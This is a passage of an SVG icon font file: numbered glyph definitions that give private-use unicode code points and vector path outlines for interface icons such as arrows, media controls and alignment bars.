77 <glyph unicode="&#xe045;" d="M0 100v700h200l100 -200h600l100 200h200v-700h-200v200h-800v-200h-200zM253 829l40 -124h592l62 124l-94 346q-2 11 -10 18t-18 7h-450q-10 0 -18 -7t-10 -18zM281 24l38 152q2 10 11.5 17t19.5 7h500q10 0 19.5 -7t11.5 -17l38 -152q2 -10 -3.5 -17t-15.5 -7h-600 q-10 0 -15.5 7t-3.5 17z" />
78 <glyph unicode="&#xe046;" d="M0 200q0 -41 29.5 -70.5t70.5 -29.5h1000q41 0 70.5 29.5t29.5 70.5v600q0 41 -29.5 70.5t-70.5 29.5h-150q-4 8 -11.5 21.5t-33 48t-53 61t-69 48t-83.5 21.5h-200q-41 0 -82 -20.5t-70 -50t-52 -59t-34 -50.5l-12 -20h-150q-41 0 -70.5 -29.5t-29.5 -70.5v-600z M356 500q0 100 72 172t172 72t172 -72t72 -172t-72 -172t-172 -72t-172 72t-72 172zM494 500q0 -44 31 -75t75 -31t75 31t31 75t-31 75t-75 31t-75 -31t-31 -75zM900 700v100h100v-100h-100z" />
79 <glyph unicode="&#xe047;" d="M53 0h365v66q-41 0 -72 11t-49 38t1 71l92 234h391l82 -222q16 -45 -5.5 -88.5t-74.5 -43.5v-66h417v66q-34 1 -74 43q-18 19 -33 42t-21 37l-6 13l-385 998h-93l-399 -1006q-24 -48 -52 -75q-12 -12 -33 -25t-36 -20l-15 -7v-66zM416 521l178 457l46 -140l116 -317h-340 z" />
80 <glyph unicode="&#xe048;" d="M100 0v89q41 7 70.5 32.5t29.5 65.5v827q0 28 -1 39.5t-5.5 26t-15.5 21t-29 14t-49 14.5v71l471 -1q120 0 213 -88t93 -228q0 -55 -11.5 -101.5t-28 -74t-33.5 -47.5t-28 -28l-12 -7q8 -3 21.5 -9t48 -31.5t60.5 -58t47.5 -91.5t21.5 -129q0 -84 -59 -156.5t-142 -111 t-162 -38.5h-500zM400 200h161q89 0 153 48.5t64 132.5q0 90 -62.5 154.5t-156.5 64.5h-159v-400zM400 700h139q76 0 130 61.5t54 138.5q0 82 -84 130.5t-239 48.5v-379z" />
81 <glyph unicode="&#xe049;" d="M200 0v57q77 7 134.5 40.5t65.5 80.5l173 849q10 56 -10 74t-91 37q-6 1 -10.5 2.5t-9.5 2.5v57h425l2 -57q-33 -8 -62 -25.5t-46 -37t-29.5 -38t-17.5 -30.5l-5 -12l-128 -825q-10 -52 14 -82t95 -36v-57h-500z" />
82 <glyph unicode="&#xe050;" d="M-75 200h75v800h-75l125 167l125 -167h-75v-800h75l-125 -167zM300 900v300h150h700h150v-300h-50q0 29 -8 48.5t-18.5 30t-33.5 15t-39.5 5.5t-50.5 1h-200v-850l100 -50v-100h-400v100l100 50v850h-200q-34 0 -50.5 -1t-40 -5.5t-33.5 -15t-18.5 -30t-8.5 -48.5h-49z " />
83 <glyph unicode="&#xe051;" d="M33 51l167 125v-75h800v75l167 -125l-167 -125v75h-800v-75zM100 901v300h150h700h150v-300h-50q0 29 -8 48.5t-18 30t-33.5 15t-40 5.5t-50.5 1h-200v-650l100 -50v-100h-400v100l100 50v650h-200q-34 0 -50.5 -1t-39.5 -5.5t-33.5 -15t-18.5 -30t-8 -48.5h-50z" />
84 <glyph unicode="&#xe052;" d="M0 50q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 350q0 -20 14.5 -35t35.5 -15h800q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-800q-21 0 -35.5 -14.5t-14.5 -35.5 v-100zM0 650q0 -20 14.5 -35t35.5 -15h1000q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1000q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 950q0 -20 14.5 -35t35.5 -15h600q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-600q-21 0 -35.5 -14.5 t-14.5 -35.5v-100z" />
85 <glyph unicode="&#xe053;" d="M0 50q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 650q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5 v-100zM200 350q0 -20 14.5 -35t35.5 -15h700q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-700q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM200 950q0 -20 14.5 -35t35.5 -15h700q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-700q-21 0 -35.5 -14.5 t-14.5 -35.5v-100z" />
86 <glyph unicode="&#xe054;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM100 650v100q0 21 14.5 35.5t35.5 14.5h1000q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1000q-21 0 -35.5 15 t-14.5 35zM300 350v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM500 950v100q0 21 14.5 35.5t35.5 14.5h600q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-600 q-21 0 -35.5 15t-14.5 35z" />
87 <glyph unicode="&#xe055;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM0 350v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15 t-14.5 35zM0 650v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM0 950v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100 q-21 0 -35.5 15t-14.5 35z" />
88 <glyph unicode="&#xe056;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15t-14.5 35zM0 350v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15 t-14.5 35zM0 650v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15t-14.5 35zM0 950v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15 t-14.5 35zM300 50v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM300 350v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800 q-21 0 -35.5 15t-14.5 35zM300 650v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM300 950v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15 h-800q-21 0 -35.5 15t-14.5 35z" />
89 <glyph unicode="&#xe057;" d="M-101 500v100h201v75l166 -125l-166 -125v75h-201zM300 0h100v1100h-100v-1100zM500 50q0 -20 14.5 -35t35.5 -15h600q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-600q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 350q0 -20 14.5 -35t35.5 -15h300q20 0 35 15t15 35 v100q0 21 -15 35.5t-35 14.5h-300q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 650q0 -20 14.5 -35t35.5 -15h500q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-500q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 950q0 -20 14.5 -35t35.5 -15h100q20 0 35 15t15 35v100 q0 21 -15 35.5t-35 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-100z" />
90 <glyph unicode="&#xe058;" d="M1 50q0 -20 14.5 -35t35.5 -15h600q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-600q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 350q0 -20 14.5 -35t35.5 -15h300q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-300q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 650 q0 -20 14.5 -35t35.5 -15h500q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-500q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 950q0 -20 14.5 -35t35.5 -15h100q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM801 0v1100h100v-1100 h-100zM934 550l167 -125v75h200v100h-200v75z" />
91 <glyph unicode="&#xe059;" d="M0 275v650q0 31 22 53t53 22h750q31 0 53 -22t22 -53v-650q0 -31 -22 -53t-53 -22h-750q-31 0 -53 22t-22 53zM900 600l300 300v-600z" />
92 <glyph unicode="&#xe060;" d="M0 44v1012q0 18 13 31t31 13h1112q19 0 31.5 -13t12.5 -31v-1012q0 -18 -12.5 -31t-31.5 -13h-1112q-18 0 -31 13t-13 31zM100 263l247 182l298 -131l-74 156l293 318l236 -288v500h-1000v-737zM208 750q0 56 39 95t95 39t95 -39t39 -95t-39 -95t-95 -39t-95 39t-39 95z " />
93 <glyph unicode="&#xe062;" d="M148 745q0 124 60.5 231.5t165 172t226.5 64.5q123 0 227 -63t164.5 -169.5t60.5 -229.5t-73 -272q-73 -114 -166.5 -237t-150.5 -189l-57 -66q-10 9 -27 26t-66.5 70.5t-96 109t-104 135.5t-100.5 155q-63 139 -63 262zM342 772q0 -107 75.5 -182.5t181.5 -75.5 q107 0 182.5 75.5t75.5 182.5t-75.5 182t-182.5 75t-182 -75.5t-75 -181.5z" />
94 <glyph unicode="&#xe063;" d="M1 600q0 122 47.5 233t127.5 191t191 127.5t233 47.5t233 -47.5t191 -127.5t127.5 -191t47.5 -233t-47.5 -233t-127.5 -191t-191 -127.5t-233 -47.5t-233 47.5t-191 127.5t-127.5 191t-47.5 233zM173 600q0 -177 125.5 -302t301.5 -125v854q-176 0 -301.5 -125 t-125.5 -302z" />
95 <glyph unicode="&#xe064;" d="M117 406q0 94 34 186t88.5 172.5t112 159t115 177t87.5 194.5q21 -71 57.5 -142.5t76 -130.5t83 -118.5t82 -117t70 -116t50 -125.5t18.5 -136q0 -89 -39 -165.5t-102 -126.5t-140 -79.5t-156 -33.5q-114 6 -211.5 53t-161.5 139t-64 210zM243 414q14 -82 59.5 -136 t136.5 -80l16 98q-7 6 -18 17t-34 48t-33 77q-15 73 -14 143.5t10 122.5l9 51q-92 -110 -119.5 -185t-12.5 -156z" />
96 <glyph unicode="&#xe065;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5q366 -6 397 -14l-186 -186h-311q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v125l200 200v-225q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5 t-117.5 282.5zM436 341l161 50l412 412l-114 113l-405 -405zM995 1015l113 -113l113 113l-21 85l-92 28z" />
97 <glyph unicode="&#xe066;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h261l2 -80q-133 -32 -218 -120h-145q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5l200 153v-53q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5 zM423 524q30 38 81.5 64t103 35.5t99 14t77.5 3.5l29 -1v-209l360 324l-359 318v-216q-7 0 -19 -1t-48 -8t-69.5 -18.5t-76.5 -37t-76.5 -59t-62 -88t-39.5 -121.5z" />
98 <glyph unicode="&#xe067;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q61 0 127 -23l-178 -177h-349q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v69l200 200v-169q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5 t-117.5 282.5zM342 632l283 -284l567 567l-137 137l-430 -431l-146 147z" />
99 <glyph unicode="&#xe068;" d="M0 603l300 296v-198h200v200h-200l300 300l295 -300h-195v-200h200v198l300 -296l-300 -300v198h-200v-200h195l-295 -300l-300 300h200v200h-200v-198z" />
100 <glyph unicode="&#xe069;" d="M200 50v1000q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-437l500 487v-1100l-500 488v-438q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5z" />
101 <glyph unicode="&#xe070;" d="M0 50v1000q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-437l500 487v-487l500 487v-1100l-500 488v-488l-500 488v-438q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5z" />
102 <glyph unicode="&#xe071;" d="M136 550l564 550v-487l500 487v-1100l-500 488v-488z" />
103 <glyph unicode="&#xe072;" d="M200 0l900 550l-900 550v-1100z" />
104 <glyph unicode="&#xe073;" d="M200 150q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v800q0 21 -14.5 35.5t-35.5 14.5h-200q-21 0 -35.5 -14.5t-14.5 -35.5v-800zM600 150q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v800q0 21 -14.5 35.5t-35.5 14.5h-200 q-21 0 -35.5 -14.5t-14.5 -35.5v-800z" />
105 <glyph unicode="&#xe074;" d="M200 150q0 -20 14.5 -35t35.5 -15h800q21 0 35.5 15t14.5 35v800q0 21 -14.5 35.5t-35.5 14.5h-800q-21 0 -35.5 -14.5t-14.5 -35.5v-800z" />
106 <glyph unicode="&#xe075;" d="M0 0v1100l500 -487v487l564 -550l-564 -550v488z" />
107 <glyph unicode="&#xe076;" d="M0 0v1100l500 -487v487l500 -487v437q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-1000q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5v438l-500 -488v488z" />
108 <glyph unicode="&#xe077;" d="M300 0v1100l500 -487v437q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-1000q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5v438z" />
109 <glyph unicode="&#xe078;" d="M100 250v100q0 21 14.5 35.5t35.5 14.5h1000q21 0 35.5 -14.5t14.5 -35.5v-100q0 -21 -14.5 -35.5t-35.5 -14.5h-1000q-21 0 -35.5 14.5t-14.5 35.5zM100 500h1100l-550 564z" />
110 <glyph unicode="&#xe079;" d="M185 599l592 -592l240 240l-353 353l353 353l-240 240z" />
111 <glyph unicode="&#xe080;" d="M272 194l353 353l-353 353l241 240l572 -571l21 -22l-1 -1v-1l-592 -591z" />
112 <glyph unicode="&#xe081;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM300 500h200v-200h200v200h200v200h-200v200h-200v-200h-200v-200z" />
113 <glyph unicode="&#xe082;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM300 500h600v200h-600v-200z" />
114 <glyph unicode="&#xe083;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM246 459l213 -213l141 142l141 -142l213 213l-142 141l142 141l-213 212l-141 -141l-141 142l-212 -213l141 -141 z" />
115 <glyph unicode="&#xe084;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM270 551l276 -277l411 411l-175 174l-236 -236l-102 102z" />
116 <glyph unicode="&#xe085;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM364 700h143q4 0 11.5 -1t11 -1t6.5 3t3 9t1 11t3.5 8.5t3.5 6t5.5 4t6.5 2.5t9 1.5t9 0.5h11.5h12.5 q19 0 30 -10t11 -26q0 -22 -4 -28t-27 -22q-5 -1 -12.5 -3t-27 -13.5t-34 -27t-26.5 -46t-11 -68.5h200q5 3 14 8t31.5 25.5t39.5 45.5t31 69t14 94q0 51 -17.5 89t-42 58t-58.5 32t-58.5 15t-51.5 3q-50 0 -90.5 -12t-75 -38.5t-53.5 -74.5t-19 -114zM500 300h200v100h-200 v-100z" />
117 <glyph unicode="&#xe086;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM400 300h400v100h-100v300h-300v-100h100v-200h-100v-100zM500 800h200v100h-200v-100z" />
118 <glyph unicode="&#xe087;" d="M0 500v200h195q31 125 98.5 199.5t206.5 100.5v200h200v-200q54 -20 113 -60t112.5 -105.5t71.5 -134.5h203v-200h-203q-25 -102 -116.5 -186t-180.5 -117v-197h-200v197q-140 27 -208 102.5t-98 200.5h-194zM290 500q24 -73 79.5 -127.5t130.5 -78.5v206h200v-206 q149 48 201 206h-201v200h200q-25 74 -75.5 127t-124.5 77v-204h-200v203q-75 -23 -130 -77t-79 -126h209v-200h-210z" />
119 <glyph unicode="&#xe088;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM356 465l135 135 l-135 135l109 109l135 -135l135 135l109 -109l-135 -135l135 -135l-109 -109l-135 135l-135 -135z" />
120 <glyph unicode="&#xe089;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM322 537l141 141 l87 -87l204 205l142 -142l-346 -345z" />
121 <glyph unicode="&#xe090;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -115 62 -215l568 567q-100 62 -216 62q-171 0 -292.5 -121.5t-121.5 -292.5zM391 245q97 -59 209 -59q171 0 292.5 121.5t121.5 292.5 q0 112 -59 209z" />
122 <glyph unicode="&#xe091;" d="M0 547l600 453v-300h600v-300h-600v-301z" />
123 <glyph unicode="&#xe092;" d="M0 400v300h600v300l600 -453l-600 -448v301h-600z" />
124 <glyph unicode="&#xe093;" d="M204 600l450 600l444 -600h-298v-600h-300v600h-296z" />
125 <glyph unicode="&#xe094;" d="M104 600h296v600h300v-600h298l-449 -600z" />
126 <glyph unicode="&#xe095;" d="M0 200q6 132 41 238.5t103.5 193t184 138t271.5 59.5v271l600 -453l-600 -448v301q-95 -2 -183 -20t-170 -52t-147 -92.5t-100 -135.5z" />
127 <glyph unicode="&#xe096;" d="M0 0v400l129 -129l294 294l142 -142l-294 -294l129 -129h-400zM635 777l142 -142l294 294l129 -129v400h-400l129 -129z" />
128 <glyph unicode="&#xe097;" d="M34 176l295 295l-129 129h400v-400l-129 130l-295 -295zM600 600v400l129 -129l295 295l142 -141l-295 -295l129 -130h-400z" />
129 <glyph unicode="&#xe101;" d="M23 600q0 118 45.5 224.5t123 184t184 123t224.5 45.5t224.5 -45.5t184 -123t123 -184t45.5 -224.5t-45.5 -224.5t-123 -184t-184 -123t-224.5 -45.5t-224.5 45.5t-184 123t-123 184t-45.5 224.5zM456 851l58 -302q4 -20 21.5 -34.5t37.5 -14.5h54q20 0 37.5 14.5 t21.5 34.5l58 302q4 20 -8 34.5t-32 14.5h-207q-21 0 -33 -14.5t-8 -34.5zM500 300h200v100h-200v-100z" />
130 <glyph unicode="&#xe102;" d="M0 800h100v-200h400v300h200v-300h400v200h100v100h-111q1 1 1 6.5t-1.5 15t-3.5 17.5l-34 172q-11 39 -41.5 63t-69.5 24q-32 0 -61 -17l-239 -144q-22 -13 -40 -35q-19 24 -40 36l-238 144q-33 18 -62 18q-39 0 -69.5 -23t-40.5 -61l-35 -177q-2 -8 -3 -18t-1 -15v-6 h-111v-100zM100 0h400v400h-400v-400zM200 900q-3 0 14 48t36 96l18 47l213 -191h-281zM700 0v400h400v-400h-400zM731 900l202 197q5 -12 12 -32.5t23 -64t25 -72t7 -28.5h-269z" />
131 <glyph unicode="&#xe103;" d="M0 -22v143l216 193q-9 53 -13 83t-5.5 94t9 113t38.5 114t74 124q47 60 99.5 102.5t103 68t127.5 48t145.5 37.5t184.5 43.5t220 58.5q0 -189 -22 -343t-59 -258t-89 -181.5t-108.5 -120t-122 -68t-125.5 -30t-121.5 -1.5t-107.5 12.5t-87.5 17t-56.5 7.5l-99 -55z M238.5 300.5q19.5 -6.5 86.5 76.5q55 66 367 234q70 38 118.5 69.5t102 79t99 111.5t86.5 148q22 50 24 60t-6 19q-7 5 -17 5t-26.5 -14.5t-33.5 -39.5q-35 -51 -113.5 -108.5t-139.5 -89.5l-61 -32q-369 -197 -458 -401q-48 -111 -28.5 -117.5z" />
132 <glyph unicode="&#xe104;" d="M111 408q0 -33 5 -63q9 -56 44 -119.5t105 -108.5q31 -21 64 -16t62 23.5t57 49.5t48 61.5t35 60.5q32 66 39 184.5t-13 157.5q79 -80 122 -164t26 -184q-5 -33 -20.5 -69.5t-37.5 -80.5q-10 -19 -14.5 -29t-12 -26t-9 -23.5t-3 -19t2.5 -15.5t11 -9.5t19.5 -5t30.5 2.5 t42 8q57 20 91 34t87.5 44.5t87 64t65.5 88.5t47 122q38 172 -44.5 341.5t-246.5 278.5q22 -44 43 -129q39 -159 -32 -154q-15 2 -33 9q-79 33 -120.5 100t-44 175.5t48.5 257.5q-13 -8 -34 -23.5t-72.5 -66.5t-88.5 -105.5t-60 -138t-8 -166.5q2 -12 8 -41.5t8 -43t6 -39.5 t3.5 -39.5t-1 -33.5t-6 -31.5t-13.5 -24t-21 -20.5t-31 -12q-38 -10 -67 13t-40.5 61.5t-15 81.5t10.5 75q-52 -46 -83.5 -101t-39 -107t-7.5 -85z" />
133 <glyph unicode="&#xe105;" d="M-61 600l26 40q6 10 20 30t49 63.5t74.5 85.5t97 90t116.5 83.5t132.5 59t145.5 23.5t145.5 -23.5t132.5 -59t116.5 -83.5t97 -90t74.5 -85.5t49 -63.5t20 -30l26 -40l-26 -40q-6 -10 -20 -30t-49 -63.5t-74.5 -85.5t-97 -90t-116.5 -83.5t-132.5 -59t-145.5 -23.5 t-145.5 23.5t-132.5 59t-116.5 83.5t-97 90t-74.5 85.5t-49 63.5t-20 30zM120 600q7 -10 40.5 -58t56 -78.5t68 -77.5t87.5 -75t103 -49.5t125 -21.5t123.5 20t100.5 45.5t85.5 71.5t66.5 75.5t58 81.5t47 66q-1 1 -28.5 37.5t-42 55t-43.5 53t-57.5 63.5t-58.5 54 q49 -74 49 -163q0 -124 -88 -212t-212 -88t-212 88t-88 212q0 85 46 158q-102 -87 -226 -258zM377 656q49 -124 154 -191l105 105q-37 24 -75 72t-57 84l-20 36z" />
134 <glyph unicode="&#xe106;" d="M-61 600l26 40q6 10 20 30t49 63.5t74.5 85.5t97 90t116.5 83.5t132.5 59t145.5 23.5q61 0 121 -17l37 142h148l-314 -1200h-148l37 143q-82 21 -165 71.5t-140 102t-109.5 112t-72 88.5t-29.5 43zM120 600q210 -282 393 -336l37 141q-107 18 -178.5 101.5t-71.5 193.5 q0 85 46 158q-102 -87 -226 -258zM377 656q49 -124 154 -191l47 47l23 87q-30 28 -59 69t-44 68l-14 26zM780 161l38 145q22 15 44.5 34t46 44t40.5 44t41 50.5t33.5 43.5t33 44t24.5 34q-97 127 -140 175l39 146q67 -54 131.5 -125.5t87.5 -103.5t36 -52l26 -40l-26 -40 q-7 -12 -25.5 -38t-63.5 -79.5t-95.5 -102.5t-124 -100t-146.5 -79z" />
135 <glyph unicode="&#xe107;" d="M-97.5 34q13.5 -34 50.5 -34h1294q37 0 50.5 35.5t-7.5 67.5l-642 1056q-20 34 -48 36.5t-48 -29.5l-642 -1066q-21 -32 -7.5 -66zM155 200l445 723l445 -723h-345v100h-200v-100h-345zM500 600l100 -300l100 300v100h-200v-100z" />
136 <glyph unicode="&#xe108;" d="M100 262v41q0 20 11 44.5t26 38.5l363 325v339q0 62 44 106t106 44t106 -44t44 -106v-339l363 -325q15 -14 26 -38.5t11 -44.5v-41q0 -20 -12 -26.5t-29 5.5l-359 249v-263q100 -91 100 -113v-64q0 -20 -13 -28.5t-32 0.5l-94 78h-222l-94 -78q-19 -9 -32 -0.5t-13 28.5 v64q0 22 100 113v263l-359 -249q-17 -12 -29 -5.5t-12 26.5z" />
137 <glyph unicode="&#xe109;" d="M0 50q0 -20 14.5 -35t35.5 -15h1000q21 0 35.5 15t14.5 35v750h-1100v-750zM0 900h1100v150q0 21 -14.5 35.5t-35.5 14.5h-150v100h-100v-100h-500v100h-100v-100h-150q-21 0 -35.5 -14.5t-14.5 -35.5v-150zM100 100v100h100v-100h-100zM100 300v100h100v-100h-100z M100 500v100h100v-100h-100zM300 100v100h100v-100h-100zM300 300v100h100v-100h-100zM300 500v100h100v-100h-100zM500 100v100h100v-100h-100zM500 300v100h100v-100h-100zM500 500v100h100v-100h-100zM700 100v100h100v-100h-100zM700 300v100h100v-100h-100zM700 500 v100h100v-100h-100zM900 100v100h100v-100h-100zM900 300v100h100v-100h-100zM900 500v100h100v-100h-100z" />
138 <glyph unicode="&#xe110;" d="M0 200v200h259l600 600h241v198l300 -295l-300 -300v197h-159l-600 -600h-341zM0 800h259l122 -122l141 142l-181 180h-341v-200zM678 381l141 142l122 -123h159v198l300 -295l-300 -300v197h-241z" />
139 <glyph unicode="&#xe111;" d="M0 400v600q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-600q0 -41 -29.5 -70.5t-70.5 -29.5h-596l-304 -300v300h-100q-41 0 -70.5 29.5t-29.5 70.5z" />
140 <glyph unicode="&#xe112;" d="M100 600v200h300v-250q0 -113 6 -145q17 -92 102 -117q39 -11 92 -11q37 0 66.5 5.5t50 15.5t36 24t24 31.5t14 37.5t7 42t2.5 45t0 47v25v250h300v-200q0 -42 -3 -83t-15 -104t-31.5 -116t-58 -109.5t-89 -96.5t-129 -65.5t-174.5 -25.5t-174.5 25.5t-129 65.5t-89 96.5 t-58 109.5t-31.5 116t-15 104t-3 83zM100 900v300h300v-300h-300zM800 900v300h300v-300h-300z" />
141 <glyph unicode="&#xe113;" d="M-30 411l227 -227l352 353l353 -353l226 227l-578 579z" />
142 <glyph unicode="&#xe114;" d="M70 797l580 -579l578 579l-226 227l-353 -353l-352 353z" />
143 <glyph unicode="&#xe115;" d="M-198 700l299 283l300 -283h-203v-400h385l215 -200h-800v600h-196zM402 1000l215 -200h381v-400h-198l299 -283l299 283h-200v600h-796z" />
144 <glyph unicode="&#xe116;" d="M18 939q-5 24 10 42q14 19 39 19h896l38 162q5 17 18.5 27.5t30.5 10.5h94q20 0 35 -14.5t15 -35.5t-15 -35.5t-35 -14.5h-54l-201 -961q-2 -4 -6 -10.5t-19 -17.5t-33 -11h-31v-50q0 -20 -14.5 -35t-35.5 -15t-35.5 15t-14.5 35v50h-300v-50q0 -20 -14.5 -35t-35.5 -15 t-35.5 15t-14.5 35v50h-50q-21 0 -35.5 15t-14.5 35q0 21 14.5 35.5t35.5 14.5h535l48 200h-633q-32 0 -54.5 21t-27.5 43z" />
145 <glyph unicode="&#xe117;" d="M0 0v800h1200v-800h-1200zM0 900v100h200q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5h500v-100h-1200z" />
